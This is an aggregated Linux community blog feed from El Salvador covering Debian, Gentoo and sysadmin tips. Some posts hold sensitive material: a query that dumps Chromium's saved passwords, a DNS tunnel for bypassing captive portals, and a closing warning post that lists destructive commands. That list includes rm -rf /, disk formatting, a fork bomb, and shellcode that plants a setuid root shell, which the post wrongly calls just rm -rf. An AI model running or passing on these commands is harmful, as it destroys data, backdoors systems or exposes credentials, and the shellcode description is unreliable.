Planeta Linux El Salvador

Wheezy

This day I read, via the Debian Devel announce list, that the next version of Debian already has a name, and will be “wheezy“

Debian rocks!!

Entradas relacionadas

• 31 August 2010 -- Debian InvolvementInvolucrándome en Debian (2)
• 26 March 2010 -- Bill Gates se cambió a Ubuntu?? (0)
• 11 March 2010 -- Limitar el ancho de banda de Apt (0)

I began my journey into the world of Debian approximately 2 years ago ( I’m not very good at remembering dates ) from the start one of my main objectives is to collaborate with the project and not simply be a standard user, the best way to do it is to keep packages (starting from the point that my work is to develop applications and edit code is what I do day to day).
But I never decided to take the plunge and adopt a package, until I decided that was the right time, already had some knowledge of Debian packaging, I had read Debian New Maintainers’ Guide and Debian Developer’s Reference. Unfortunately when I decided to do so and already had everything ready to find a mentor, Debian enters the freezing stage, in this state no packets are uploaded to unstable unless they are to fix a RC bug

So I have to wait until the release of squeeze and some mentor have mercy of my soul and upload packages for me

This is my first step in the process of becoming a Debian Developer, so I hope to share the progress

Cheers!!

Entradas relacionadas

• 3 September 2010 -- Debian 7 has a name ‘wheezy’Debian 7 ya tiene nombre ‘wheezy’ (0)
• 26 March 2010 -- Bill Gates se cambió a Ubuntu?? (0)
• 11 March 2010 -- Limitar el ancho de banda de Apt (0)

Para celebrar otro cumpleanios del natalicio de Debian GNU/Linux, este sabado nos reuniremos en la Universidad Nacional para hablar un poco sobre el proyecto y la comunidad en nuestro pais.

Cordialmente invitados

I have just made the initial commit of media-sound/lxmusic , one of the few relatives of the lxde family still missing in Gentoo land.

For everyone who doesn't know, lxmusic is a very simple frontend for the (in)famous xmms2 which was also recently added into the tree thanks to the effort of many people.

For everyone merging lxmusic who doesn't want to build dev-libs/boost as a dependency (myself included), make sure to set the -cxx use flag in media-sound/xmms2.

Well, I am not exactly new in the developer world of Gentoo, to be honest I've been a developer for almost a year now.

For all who doesn't know, I started working at Gentoo  with maintainer-needed packages, but I started helping treecleaners and get so much interest in LXDE, as I use it in my netbook.

Lately, I've been working with Samba, which has been mostly cared by Patrick Lauer, and thanks to him we all have a stable samba 3.4 version. I am looking forward to bring fixes to the 3.5.x series and all your bug reports, comments, and patches are welcomed of course! .

No lo decimos nosotros, lo dice Dell

Así que vale la pena comprar una Dell con Ubuntu instalado no creen? Por mayor seguridad.

(vía Y Que jé?)

Una característica que usaba en firefox era la de proteger las contraseñas con una «contraseña maestra», cuando se activa esta característica firefox se encarga de encriptar todas las contraseñas almacenadas en el disco, y firefox pregunta por la contraseña maestra cuando necesita acceder a las contraseñas almacenadas. Cuando no se utiliza el navegador las contraseñas están seguras. Aun así hay herramientas para obtener la contraseña maestra de firefox por la «fuerza bruta», pero si tienes una contraseña lo suficientemente robusta no tendrías por que preocuparte para mas información (en ingles) mira http://kb.mozillazine.org/Master_password.

A que viene todo esto?, pues desde hace ya varios días decidí cambiar de navegador, por lo que ahora utilizo Chromium, si tu también lo utilizas habrás notado que carece de la característica  que mencionaba anteriormente de firefox, en esencia las contraseñas son almacenadas en  una base de datos de sqlite en ‘~/.config/chromium/Default/Web Data’, mostrar las contraseñas es increíblemente fácil (estoy usando Chromium 5.0.342.9~r43360-0ubuntu2 en Ubuntu 10.04 LTS)

1

 $ echo 'SELECT username_value, password_value FROM logins;' | sqlite3 ~/.config/chromium/Default/Web\ Data | grep -v '^|$'

Como puedes ver las contraseñas son almacenadas en texto plano (aunque el directorio ~/.config/chromium tiene permisos 0700). Desconosco el por que esta funcion no se ha implementado, es un bug? podría ser, pero esta claro que:

Espero que esta información les resulte útil (o al menos estar un poco mas alerta )

Entradas relacionadas

• 13 October 2009 -- Screenshots de Octubre 09 (0)
• 10 September 2009 -- vrms meme (1)
• 6 August 2009 -- Probando Google Chrome beta en Ubuntu (1)

Regularmente se especifica en el archivo fstab nombres de dispositivo como /dev/sdb1 tal como en el siguiente ejemplo:

/dev/sdb1        /media/storage        ntfs-3g       defaults        0 1

Esto no es nada nuevo para muchos, pero puede suceder la ocasión en la cual queramos que un dispositivo se monte en una ubicación especial siempre, pero el nombre del dispositivo /dev/sdb1 del ejemplo anterior podría cambiar por ejemplo si se tratara de un dispositivo USB, o de si las galaxias están alineadas o si hace luna llena.

Bueno, en este caso podemos utilizar el UUID (Universally Unique Identifier) el cual identifica a cada sistema de archivos de un disco y hace que el nombre del dispositivo sea irrelevante al momento de montarse.

Obteniendo el uuid

Un par de formas de obtenerlo:

# ls -l /dev/disk/by-uuid/
total 0
lrwxrwxrwx 1 root root 10 May  5 02:38 07D4-0918 -> ../../sda1
lrwxrwxrwx 1 root root 10 May  5 02:38 1501c1df-798c-4359-a100-37c97f426269 -> ../../sdb2
lrwxrwxrwx 1 root root 10 May  5 02:38 1cd538b0-c4da-4280-a485-c0324066832f -> ../../sda5
lrwxrwxrwx 1 root root 10 May  5 02:38 25b9f76e-0d99-4c6d-b441-4a4a879ff049 -> ../../sda3
lrwxrwxrwx 1 root root 10 May  5 02:38 9E88682C886804DD -> ../../sdb1
lrwxrwxrwx 1 root root 10 May  5 02:38 D8701AD2701AB6EA -> ../../sda2

# blkid
/dev/sda1: SEC_TYPE="msdos" LABEL="DellUtility" UUID="07D4-0918" TYPE="vfat"
/dev/sda2: UUID="D8701AD2701AB6EA" LABEL="winxp" TYPE="ntfs"
/dev/sda3: UUID="25b9f76e-0d99-4c6d-b441-4a4a879ff049" TYPE="ext3"
/dev/sda5: UUID="1cd538b0-c4da-4280-a485-c0324066832f" TYPE="swap"
/dev/sdb1: UUID="9E88682C886804DD" LABEL="storage" TYPE="ntfs"
/dev/sdb2: UUID="1501c1df-798c-4359-a100-37c97f426269" TYPE="ext3

Ahora con el uuid en mano, procedemos a modificar nuestro fstab:

UUID=9E88682C886804DD        /media/storage       ntfs-3g        defaults       0 1

Y listo, no dependemos del nombre del dispositivo para montarlo!

Nota: El uso del UUID NO lo inventó Ubuntu

Bueno vengo no en el plan de recordar progenitoras en este post como muchos hacen al hablar del DRM (Digital Right Management), sino que vere el problema estilo comunidad (proponer ademas de criticar).

Pregunta importante: por que la gente piratea?

Pues puede ser por muchas razones, la predominante en este pais es la falta de recursos para gastar en medios “originales” aqui el salario minimo apenas sobrepasa los $100 y un solo cd valiendo entre $10 y $20 esta llevandose mas del 10% del sueldo de un trabajador promedio, las peliculas casi lo mismo y para colmo son compras ciegas no se sabe la calidad de la compra hasta que se pone en un reproductor (y el comprador tiene la tentacion de lanzar el cd por la ventana como si fuera de win2 vista) la salvacion aqui es que es legal descargar y quemar música siempre y cuando no se venda (derecho de copia privada).

Con los juegos la razon es ademas de economica la cultura salvadoreña de compartir toda obra digital que cae en nuestras manos y por la misma gana de la gente de hacer negocio con cualquier medio digital (aplica a todo).

Como puede verse los modelos de negocio antiguos aqui no funcionan, y lo peor que se puede hacer es bajar la calidad de los contenidos vendidos poniendoles DRM, llenando de anuncios desmoralizantes sobre la “piratería” que la compara con robos de autos y carteras o advertencias que son casi amenazas con logos del FBI.

Cuando por paranoia o por pensar que todos los usuarios que no les pagamos por sus contenidos somos unos criminales BAJAN DRASTICAMENTE LA CALIDAD DE SUS PRODUCTOS cuando les ponen DRM, ejemplo:

DVD pirata vs Original (eng)
Audiolibro con DRM vs audiolibro descagado de p2p

Por eso aqui van las

Propuestas libres de tuxwarrior

1) Para los juegos: Regalen promocionales o coleccionables con los juegos originales y den gratis la membresía al que los compro si es un juego online, diganme quien no comprara un juego de Super Mario que traiga un muñeco del personaje  o un tomb raider con un poster en alta resolucion de Lara Croft (‘¬’), asi los que consigan copias “no autorizadas” (piratear es robar barcos) solo tendran un juego.

2) Para las peliculas: Quiten esa cantidad enorme de trailers y anuncios espameros, en el cine estan bien, dan tiempo de esperar a tu novia que fue al baño antes de empezar, pero en la casa dan ganas de pegarle una patada al televisor, y los anuncios del FBI lo unico que hacen es pre-criminalizar al que si pago por la pelicula (y simplemente dejen titulos para descarga gratis que incluyan los anuncios y todo lo demas en calidad estandar si quieren).

3) Música: poner DRM en la música es la peor estupides que pueden hacer con un cliente que les pago, ahora la misma persona puede tener 3 o 4 dispositivos donde querra tener una copia de su canción o album (ipod o mp3 player, pc,car audio, celular) y no tolerara comprar una pista o un cd que venga con anti copia y que no le deje ripear el cd, o copiar la canción de un dispositivo a otro o quemarla, hay estudios que muestran que la musica sin DRM se vende mucho mejor que la con DRM, y como segunda propuesta los discos deberían bajar su precio a algo mas manejable por el cliente de pais no desarrollado (con $3 por un original creo que es manejable) ademas de quitar las restricciones de region para la venta de música en línea (por que demonios no podemos comprar música que salio en holanda o en japon por ejemplo, que nos quieren condenar a oir solo regueton acaso???).

4) Ebooks: La información debe ser difundida, la gente tiene derecho a conocer mas, y hacer que solo se pueda estudiar sobre un tema pagando mucho dinero se crea una enorme discriminacion, los ebooks son solo una forma mas de presentar un escrito, ponerles DRM es un golpe bajo a la persona que lo compro y a la que lo escribio, una forma de distribuirlos sería: venderlo a un precio razon able si no queda de otra, dar gratis el ebook si se tiene el impreso, y soltar algunas obras para libre descarga despues de cierto tiempo. tanto les cuesta eso?

Para terminar declaro mi rotundo rechazo a la implementación de DRM en todos los tipos de medio digital.

Por razones de seguridad y aprovechando la reciente fiesta de firmado de llaves en el mini DebConf 2010 en Panama, decidi crear una nueva llave, por lo que estoy realizando la transicion respectiva.

La antigua llave continuara valida por un tiempo y preferiria correspondencia a la nueva llave.

Este mensaje tambien se encuentra disponible y firmado por ambas llaves para certificar la transicion.

La vieja llave era:

pub   1024D/1F8C587D 2006-05-28
Huella de clave = B93A 3A23 770F 0F11 BC25  05CF 3EB2 2DDB 1F8C 587D

Y la nueva llave es:

pub   2048R/28DB5743 2010-03-20 [caduca: 2011-03-20]
Huella de clave = FC2A 2005 A01D 9280 E61E  3B9F 616F 2A04 28DB 5743

Para obtener la nueva llave:

wget -q -O- http://gente.debian.org.sv/~emonge/emonge.gpg | gpg –import -

O desde un servidor publico:

gpg –keyserver pgp.mit.edu –recv-key 28DB5743

Si tu ya conoces mi antigua llave, puedes verificar que la nueva llave esta firmada por la antigua:

gpg –check-sigs 28DB5743

Si eres un tanto _paranoico_, puedes verificar nuevamente la huella digital:

gpg –fingerprint 28DB5743

Si todos los argumentos son de tu completa satisfaccion te agradeceria firmaras mi nueva llave:

gpg –sign-key 28DB5743

Y finalmente apreciaria mucho que me enviaras un mail con las nuevas firmas o las publicaras directamente en un servidor de llaves:

gpg –keyserver pgp.mit.edu –send-key 28DB5743

Gracias por el tiempo y las disculpas por los inconvenientes.

De todos es sabido, que Debian utiliza nombres de personajes de la película Toy Story para los «codenames» de sus distribuciones, y pues es lógico preguntarnos que pasará cuando estos nombres se acaben. Seguramente algo sucederá, quiza en un futuro, los nombres serán generados por algoritmos aleatorios usando como diccionario los nombres de los paquetes o cualquier otra cosa, pero mientras tanto quiero imaginarme de cuanto tiempo disponemos para leer los nombres de la pelicula en las distribuciones de Debian.

Bueno,lo primero es investigar la cantidad de nombres de personajes de las películas incluyendo juguetes y personas.

Este articulo de la Wikipedia, me permite contabilizar al menos 50 personajes, de los cuales 12 ya fueron utilizados o estan siendo utilizados por alguna distribución. Por lo que se disponen de 38 nombres aun hasta Toy Story 2. Pero considerando el próximo lanzamiento de la tercera parte de la película, se aumentan en 12 los nuevos juguetes en escena segun el sitio oficial de Disney

Asumiendo que Debian utilizará un nombre por año, para el 2061 nuestros nietos estarán utilizando algo como Debian «Chunk», Debian «Sparks» o Debian «Twitch»

Una de las cosas por las que la comunidad del software libre es conocida es por la importancia del trabajo comunitario, es decir si los usuarios creen que los developers o los que manejan cierto software la estan cagando reportan la queja, ya sea una
vulnerabilidad, un programa que se truena (crash) o simplemente quieren dar una sugerencia de alguna caracteristica que podría ser útil a otros usuarios (o al que lo reporto).

En la comunidad debian usamos un programa que sirve para eso, para reportar problemas en nuestra distro y ayudar a hacerla mas estable, este programa se llama Reporbug.

Este busca la información del paquete que presento problema o al que le pedimos caracteristicas nuevas para tener un reporte detallado y sobre todo “útil y legible para el desarrollador”.

Lo que necesitamos:

-Un sistema debian o derivado
-Reportbug (instalado por default en la mayoría)
-un MTA o servidor de correo (msmtp solo configuracion de usuario)(opcional)

Configurando reportbug

a) inicio, nivel de experiencia en Debian
Primero buscamos una aplicacion que nos esta dando problemas, luego damos el comando reportbug en la consola (para gnome ya hay un reportbug gráfico, para los que usan squeeze esta reportbug-ng también gráfico):

$ reportbug

Y nos aparecerá este mensaje:

Welcome to reportbug! Since it looks like this is the first time you have used reportbug,
we are configuring its behavior. These settings will be saved to the file "/home/user/.reportbugrc",
which you will be free to edit further.
Please choose the default operating mode for reportbug.

1 novice Offer simple prompts, bypassing technical questions.

2 standard Offer more extensive prompts, including asking about things that a
 moderately sophisticated user would be expected to know about Debian.

3 advanced Like standard, but assumes you know a bit more about Debian, including "incoming".

4 expert Bypass most handholding measures and preliminary triage routines.
This mode should not be used by people unfamiliar with Debian's policies and operating procedures.

Select mode: [novice]

Aqui dice:
“Bienvenido a reportbug!, Como parece ser esta la primera vez que usas reportbug configuraremos primero su comportamiento. Estas opciones se guardaran en /home/user/.reportbugrc, el cual tienes toda la libertad de modificar despues, elige el comportamiento predeterminado de operación para reportbug:

1 novato Ofrece preguntas simples omitiendo lo mas técnico

2 estandar Ofrece preguntas un poco mas extensas, incluyendo cosas sofisticadas, se espera que el usuario sepa sobre Debian

3 avanzado igual que estandar, pero asume que sabes un poco mas sobre Debian

4 experto Omite la mayoría de las medidas y las rutinas preliminares de pregunta. Este modo no debe ser usado por gente no familiarizada con las politicas y procedimientos de Debian”

Aqui elegiremos novato (si soy novato también) dando enter, si tenemos gnome nos preguntará si queremos interfaz gráfica o interfaz de texto, no es la gran diferencia, pero si te sientes mas cómodo/a con un entorno gráfico elígelo.

b) ¿Tienes acceso a internet?
Despues aparecerá la siguiente pregunta:

Will reportbug often have direct Internet access? (You should answer yes to this question unless you know what you are doing and
plan to check whether duplicate reports have been filed via some other channel.) [Y|n|q|?]?

Aqui dice: “¿Tendrá reportbug acceso directo a internet? (Deberías decir que si a esta pregunta, a menos que sepas lo que haces y planeas revisar si hay reportes duplicados por otro medio) “, si tienes internet lo mejor será poner si (enter), en caso de que no tengas internet (y este how-to lo has impreso) responde que no (n).

c) Identidad
Luego preguntará con que nombre pondrás el reporte de bug (tu nombre completo), será para ser reconocido entre la comunidad Debian (y para que un developer cerca de ti queme tu casa por darle mas trabajo XD).

Luego preguntará tu correo electrónico (sera de conocimiento público asi que buscate uno con buen filtro anti-spam).

d) ¿Has configurado el servidor de correo? Preguntará si tienen instalado un MTA, entro en modo cultural aqui:

(tuxwarrior se pone lentes de fondo de botella y se peina el pelo con la lengua de una vaca y 10 litros de gel)

MTA o Mail Transfer Agent es lo que conocemos todos como un “Servidor de correo”, o el software encargado de enviar o “transferir” correos hacia otras computadoras a traves de la red (ver definicion en Wikipedia: MTA), por favor no confundir con esos programas que usamos para enviar flames a listas de correo o cadenas a nuestros familiares XD, el thunderbird, evolution y todos esos son clientes de correo o MUA (Mail User Agent) tampoco ponemos aqui a los servicios de WebMail como gmail y hotmail.

Saliendo del modo cultural si tenemos instalado y configurado un servidor de correos el bug se enviará directo desde el reportbug, la mayoría de usuarios normales no tiene uno configurado (aunque si instalado), asi que responderán que no, (al final de este post pongo como montar un MTA sencillo solo para un usuario).

e) Final, Proxy y última indicación
Preguntará si se tiene un proxy en la red, en caso de existir hay que poner la dirección o la IP de esta forma: “http://192.168.1.1:puerto/” cambiando la IP por el dominio o la IP de tu proxy y el puerto por el puerto default para el proxy, si no hay proxy entonces dejar en blanco.

Ahora ya terminamos con la configuración inicial de reportbug, ahora a llenar un reporte:

Reportando un bug

Primero hay que saber que es un bug por definicion: “Un defecto de software (computer bug en inglés), es el resultado de un fallo o deficiencia durante el proceso de creación de programas de ordenador o computadora (software). Dicho fallo puede presentarse en cualquiera de las etapas del ciclo de vida del software aunque los más evidentes se dan en la etapa de desarrollo y programación. Los errores pueden suceder en cualquier etapa de la creación de software” fuente Wikipedia:bug.

Antes de llenar nuestro reporte recomiendo leer las buenas prácticas para enviar reportes de bug efectivos aqui

Encuentro un bug
Si alguna aplicación se porta extraño, se traba, usa demasiada memoria para algo muy simple o sin explicacion alguna “Truena“.

Entonces llenamos un reporte de bug de esta manera:

$ reportbug

Llenando el bug
Primero nos preguntará el nombre del paquete afectado, para saber como se llama el paquete del cual viene nuestra aplicacion problemática usamos aptitude:

$ aptitude search amarok
i amarok - easy to use media player based on the KDE Platform

en este caso vemos que el paquete al que pertenece amarok se llama “amarok”, algunos otros son mas engañosos como “epiphany-browser” ya que solo “epiphany” es el paquete de un juego que se llama igual al navegador.
El paquete debe estar instalado, no debemos mandar bugs sobre software que no tenemos.

Luego saldrá una lista de bugs que ya se enviaron sobre ese paquete (pueden ser muchísimos), por favor revisen todos los que mencionen algo sobre el mismo problema si el bug ya lo envió otra persona entonces solo revisemos si tenemos datos para aportar al bug, pero no lo enviemos de nuevo, es redundante y una pérdida de tiempo enviar bugs duplicados.

Si el bug no existe o no se ha reportado entonces nosotros debemos reportarlo y aportar la mayor cantidad de información útil sobre el bug en ingles (la mayoría de los developers son angloparlantes).

Luego nos pedirá una descripción sencilla del bug.

Luego determinamos la gravedad del bug, que puede ser:
1-Critical: hace que otros programas no relacionado en el sistema (o el propio sistema) dejen de funcionar o lo hagan erroneamente

2-Grave: hace al paquete inservible para la mayoría de usuarios o causa pérdida de datos, o inserta un hoyo de seguridad que permite el acceso a las cuentas de usuarios que usen el paquete.

3-Serious: Viola severamente alguna convención de las politicas de Debian sobre paquetes o la libertad de estos (solo developers y mantainers deben usar este).

4-Important: El bug tiene un impacto importante en la usabilidad del paquete, pero no lo hace completamente inservible para todos los usuarios

5-Does not build: No compila (developers o gente que compila las fuentes de debian para cualquier propósito)

6-normal: como el nombre lo dice es lo que normalmente encontraremos, una opcion, acción o entrada hara que el programa truene, sin que el programa sea totalmente inservible

7-minor: Fallos cosméticos, como por ejemplo una palabra mal escrita, ayuda no útil, un boton no funciona o se porta extraño.

8- wishlist: sugerencias o peticiones de carácteristicas nuevas (posibles y útiles).

Segun esta lista elegimos la severidad, luego nos abre un editor (generalmente nano o vi) para escribir la información del bug, debajo de donde se menciona la severidad que elegimos hay un espacio en blanco donde podemos poner la descripción del bug y las pruebas que hicimos para corroborar que es un problema en el programa y no otra cosa como por ejemplo una mala configuración.

Para finalizar guardamos el bug (control+x nano vi) luego nos preguntara si deseamos enviar el bug, aqui respondemos si (enter) si tenemos un MTA configurado, en este caso el bug será enviado de inmediato al Debian BTS para su publicación y revisión de parte del responsable del paquete, si no tenemos MTA (la mayoría) damos no (n) y nos dara la ruta donde el bug estara guardado (/tmp/reportbug-archivo), abrimos esta ruta con un editor y copiamos su contenido, luego lo pegamos en un correo nuevo desde nuestro MUA (thunderbird, evolution, claws, mutt <—-si tienes mutt configurado TIENES UN MTA) a la dirección submit@bugs.debian.org o desde nuestro webmail (preferentemente gmail o alguno que no envíe correo en HTML por default).

Montando MSMTP como MTA

Para esta tarea necesitamos una cuenta que soporte envío SMTP, usare gmail para ejemplo, primero instalamos msmtp:

#apt-get install msmtp

Luego como usuario creamos un archivo llamado ~/.msmtprc, y llenamos de la siguiente manera:

account default
host smtp.gmail.com
port 465
auth on
user usuario
password passguord
tls on
tls_starttls off
tls_certcheck off
from usuario@gmail.com

Cambia usuario por tu user de gmail y passguord por la contraseña, luego prueba con este comando si puedes enviar correo:

$echo "una prueba esto es" | msmtp -d direccion@correo.com

Cambia la direccion de correo por una dirección que puedas revisar correo, si recibes un correo sin asunto proveniente de tu cuenta de gmail entonces funciona (puedes usar mutt con este MTA sencillo).

Este MTA solo cumple la funcion de enviar correo de tu usuario hacia la cuenta de gmail asi que no puede manejar recipientes POP3 o IMAP como los servidores completos (postfix, exim, sendmail).

Espero que les haya funcionado y a enviar bugs

mejoremos juntos el software libre aunque no podamos programar

Descargar GLP-SOLVE
 $wget http://carleos.epv.uniovi.es/~juan/dist/GLP-Solve-1.2.tar.gz
Autenticarse como usuario root
 $su

Instalar las dependencias:

  libgtk2.0-dev
  libgnomeui-dev
  libgtksourceview-dev
  libgnomeprintui2.2-dev
  lp-solve
  liblpsolve55-dev

 # aptitude install  libgtk2.0-dev libgnomeui-dev libgtksourceview-dev libgnomeprintui2.2-dev lp-solve liblpsolve55-dev

Hacer un enlace de la libreria compilada liblpsolve55.so en /usr/lib/ con:
# ln -s /usr/lib/lp_solve/liblpsolve55.so /usr/lib/  

Descomprimir el archivo

# cd ./GLP-Solve-1.2

Empezar la compilacion.
Configurar el sistema

# liblpsolve_CFLAGS=-I/usr/include/lpsolve liblpsolve_LIBS="/usr/lib/lp_solve/liblpsolve55.so" ./configure --prefix=/usr --docdir=/usr

Compilar
# make


Instalarlo
# make install
# exit

Ejecutarlo con:
$ glp-solve

Todos los que hemos hecho el salto a 64 bits en linux nos encontramos con este problema (el mas grande de todos diría yo), estamos acostumbrados a conseguir todo (o casi todo) nuestro software de los repositorios e incluso algunos programas no-libres que estamos a veces obligados a conseguir por culpa de los amigos que tenemos o la empresa en la que laboramos que lo #exige, o incluso los que nos gusta jugar con consolas que ya no estan vigentes (emulacion) a veces no encontramos disponible el emulador al que estamos acostumbrados, aqui pongo una guía para instalar 2 aplicaciones no disponibles para AMD64 en debian:

1-ZSNES: Este es para mi el mejor emulador de SNES existente, no solo es potente, rápido y muy similar a lo que era la propia consola, ademas de todo es libre, el problema es que por alguna razon que no conozco no es posible compilarlo para 64 bits (si lo intente y varias veces), por lo que no existe un deb para AMD64, lo que hice para hacerlo funcionar fue lo siguiente:

* Bajar la version de 32 bits de packages.debian.org, les recomiendo que bajen la versión disponible para su rama de distro (stable, testing o unstable), y lo instalan de esta manera:

dpkg -i --force-architecture zsnes_****_i386.deb

Cambien la censura de asteriscos por la version que bajaron, luego bajen la única dependencia (que yo necesité) que necesita en 32 bits para funcionar, igual que con el emulador bajen la version de 32 bits de libao2, pero en lugar de instalarla con dpkg (por que puede reemplazar la version para 64 bits creando un error enorme en el sistema) la descomprimimos con (ark en KDE, fileroller en Gnome, Xarchiver en XFCE y LXDE):

ar -x libao***i386.deb

Y luego descomprimir el archivo “data” dentro de la resultante:

tar -xvf data.tar.gz 

entramos a usr/lib (dentro de la carpeta data, no en el sistema) y copiamos todo el contenido hacia /usr/lib32/ (esto si en el sistema):

cp -r * /usr/lib32/

ADVERTENCIA: no lo copien a /usr/lib o /usr/lib64, eso hara ESTRAGOS en el sistema.

Una vez listo damos en la consola el comando:

zsnes

Y veremos la pantalla del emulador listo para jugar \o/.

2- skype

Este es EVIL, por obligacion (unos primos en el norte que no conocen linux) tengo que usar este ya que es la unica forma de hacer una videoconferencia decente con gente que odia el mazinger, bueno para instalar este adefesio en AMD64 es necesaria una enorme cantidad de dependencias, skype lo instalamos igual como zsnes (solo que ese lo bajan de la página de la empresa skype no de debian), y lo instalan asi:

dpkg -i --force-architecture skype******.deb

Las dependencias son las siguientes, (bajar todas de packages.debian.org):

-libqt4-dbus
-libqt4-network
-libqtqui4
-libqtcore4
-libqt4-xml

Hagan el proceso que describí anteriormente para libao y skype funcionara en AMD64

Érase una vez  el proyecto Debian GNU/Linux en 1993, que luego por la apertura de su software, nace el proyecto Ubuntu Linux for Human Beings en el 2004, donde luego surgieron las comunidades las cuales son encargadas de difundir el software en cada territorio. En el caso de El Salvador, existe la comunidad Ubuntu de El Salvador.

Sucedió lo que jamás iba a pensar que sucedería jeje, pero unos jóvenes de la comunidad Ubuntu de El Salvador, se dieron a la tarea de ir a regalar CD’s de Ubuntu en la mera mera oficina principal de Microsoft El Salvador, es decir, es como irse a meter a la cueva del León, cualquiera pensaría “nos van a echar de acá”, pero lo curioso de todo es que al final, les terminaron pidiendo CD’s de Ubuntu aunque estuvieron a punto de caer, ya que fueron a pedir CD’s de Windows 7 RC1, pero no tenían, hubiera sido un FAIL para ellos.

Así que esta vez  Microsoft de El Salvador “You Have Been Trolled” (en el buen sentido).

Lean la historia completa en el blog de DK Cross, quien fue el autor principal de los hechos

Saludos!!

Como ya es tradición desde hace 4 años, en el mes de Abril se celebra el Festival Latinoamericano de Software Libre (FLISOL), realizandose en todos los países de América Latina, y El Salvador también lo celebrará en grande.

¿Qué habrá en el FLISOL?

Si quieres conocer más acerca del Software Libre, o eres una persona que ha estado usando Windows o Software Privativo toda tu vida, y quieres experimentar el uso del Software Libre y GNU/Linux, te recomiendo grandemente que asistas al FLISOL, porque ahí habrá:

• Charlas
• Instalación y Quemado de Distros
• Conocimiento de Alternativas libres de mucho software de utilidad
• Compartimiento de experiencias, porque encontrarás mucha gente con experiencia que puede resolver muchas dudas que tengas.

¿Donde Puedo Llegar?

Habrán dos sedes

• Universidad Evangélica de El Salvador (ver info de Flisol acá)
• Universidad Tecnológica (ver info del Flisol acá)

¿A qué horas?

La hora de inicio será a las 9:00am y terminará a las 4:30pm

Recursos

• Sitio oficial
• Sigue el Flisol en Twitter (@flisolsv)
• Información global del Flisol (historia, artículos, recursos gráficos, etc)

Si hay algo más que agregar, favor enviar un comentario complementando la información.

Están cordialmente invitados!!

Saludos

y eso, amablemente y gentilmente la gente de Debian Guatemala y la Gente del Grupo de usuarios de la Universidad de San Carlos tienen un evento sobre Software libre este sábado(mañana), y tengo la oportunidad de compartir un buen momento con los hermanos «chapines», así que este fin de semana estoy fuera de San Salvador y espero saludar de nuevo desde Antigua Guatemala el sábado en algún bar que tenga wifi , así que si alguien de .gt lee y no se entero en sus listas de correo ni en sus websites es momento de buscar debian-gt y LUGUSAC en google

Y en algunas ocasiones, nos encontramos en lugares donde en realidad no podemos tener internet.
Uno de los casos comunes es en los aeropuertos/hoteles, donde existen portales cautivos que nos tratan de hacer pagar para tener servico de internet.
en otros lugares, tenemos proxys y administradores que no quieren que el internet fluya, pero bueno, para todo existe solución.

En el mejor de los casos tener un servidor escuchando SSH en un puerto común como 443 ayuda mucho, pero en el peor de los casos, solo tenemos salida de DNS, y nada mas, hasta autenticar.
para esas soluciones es bueno tener iodine:

así:
En el servidor remoto:
(puede ser en un screen que es como /me hace)
# iodined -f 10.0.0.1 usuario
Password: *********

Listo, recordemos que la IP no sea usada por una LAN del Servidor, en mi caso el servidor no tiene un DNS activo, pero existen workarrounds para esos casos.

ahora, en el cliente:
iodine -f XXX.XXX.XXX.XXX usuario
Ponemos nuestro password y listo
tenemos un tunel por DNS, podemos probar hacer ping al host remoto por el tunel (usando la IP que pusimos del lado del cliente)

Bueno, ahora:
ssh -N -f -D localhost:7777 XXX.XXX.XXX.XXX

y tenemos un SOCKs proxy en nuestro equipo, apuntamos nuestra aplicación como iceweasel para usar ese proxy y todos felices

En otro de mis paseos por Internet me tope con algo bastante interesante (al menos seguro que para los geeks si), y no es ni más ni menos que una aplicación web que simula una shell no oficial de el archirecontraconocido buscador google..

Intente conseguir una verdadera shell conectándome por SSH con el user guest y pass guest y aunque el puerto esta abierto no me pude loguear con esos datos

Pero para todos aquellos que disfrutan hacer las cosas al más puro estilo geek, o que deseen buscar en google como lo haría Chuck Norris (bueno en realidad Chuck Norris no necesita buscar en Google), goosh es lo que andabas buscando.

Goosh.org

Una de las cosas que no me gustaba con el hecho de cambiar de laptop era el tema del teclado, pues había tenido ya por buen rato el teclado en español en la HP, y ahora tendría que acostumbrarme de nuevo a no usar tildes, y la falta de la «ñ»

Si bien es cierto mi ortografía es mala, mejoro mucho en el tiempo que use teclado en español, pues ya no tenía excusa para no tildar las palabras que pensaba llevan tildes.

pero bueno, para los pobres desafortunados como yo, que tienen portátiles con teclado en Ingles, aquí la solución:

Esto, saliendo de mi /etc/X11/xorg.conf

17 Section “InputDevice”
18         Identifier      “Generic Keyboard”
19         Driver          “kbd”
20         Option          “XkbRules”      “xorg”
21         Option          “XkbModel”      “pc105″
22         Option          “XkbLayout”     “us”
23         Option          “XkbVariant”    “intl”
24 EndSection

básicamente con la variante “Intl” lo que hacemos es habilitar las teclas muertas en el teclado, es decir, para poner tildes puedo usar la tecla apostrofe «’» y luego la vocal; también se puede usar la combinación AltGr + la vocal, que también funciona. y para la ñ, igual, AltGr + n, o usando la tecla de la virgulilla como deadkey.

No, no voy a comenzar uno de los tantos debates de la informática actual, simplemente posteo las imágenes con las que me tope en un foro

ROUND 1:

ROUND 2:

ROUND 3:

ROUND 4:

Al parecer las imagenes son de linuxadictos

Bueno la imagen es una risa completa pero es de las primeras que aparecen en Google al buscar algo relacionado con tux y la muerte xD

Entrando al tema, navegando por ahí me tope con este post donde menciona 7 comandos que ponen en completo riesgo nuestro OS.

Revisándolos..
rm -rf /
Bastante simple verdad, lo que hace es borrar todos los ficheros desde la raíz del sistema “/” de forma recursiva y sin confirmación alguna..

No se quien podria ejecutar algo así pero al menos puede servir para hacer alguna broma de mal gusto xD

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68?
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99?
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7?
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56?
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31?
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69?
“\x6e\x2f\x73\x68\x00\x2d\x63\x00?
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
Aparentemente el mismo comando anterior en forma hexadecimal.

mkfs.ext3 /dev/sda

Este se nota a simple vista lo que hace, va a formatear el disco duro usando el sistema de archivos ext3, bien puede variar algo y en lugar de ser /dev/sda podría ser /dev/hda.. Todo depende.

){:|:&};:

